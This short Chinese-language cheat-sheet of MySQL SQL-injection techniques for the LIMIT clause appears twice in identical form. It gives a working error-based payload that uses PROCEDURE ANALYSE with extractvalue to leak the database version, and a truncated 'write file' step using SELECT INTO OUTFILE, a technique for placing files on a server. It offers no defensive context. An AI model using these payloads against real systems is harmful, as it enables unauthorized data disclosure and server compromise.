1、procedure analyse()
select * from users order by id limit 0,5 procedure analyse(1,extractvalue(rand(),concat(0x3a,version())));
2、写文件。
select *** into outfile
1、procedure analyse()
select * from users order by id limit 0,5 procedure analyse(1,extractvalue(rand(),concat(0x3a,version())));
2、写文件。
select *** into outfile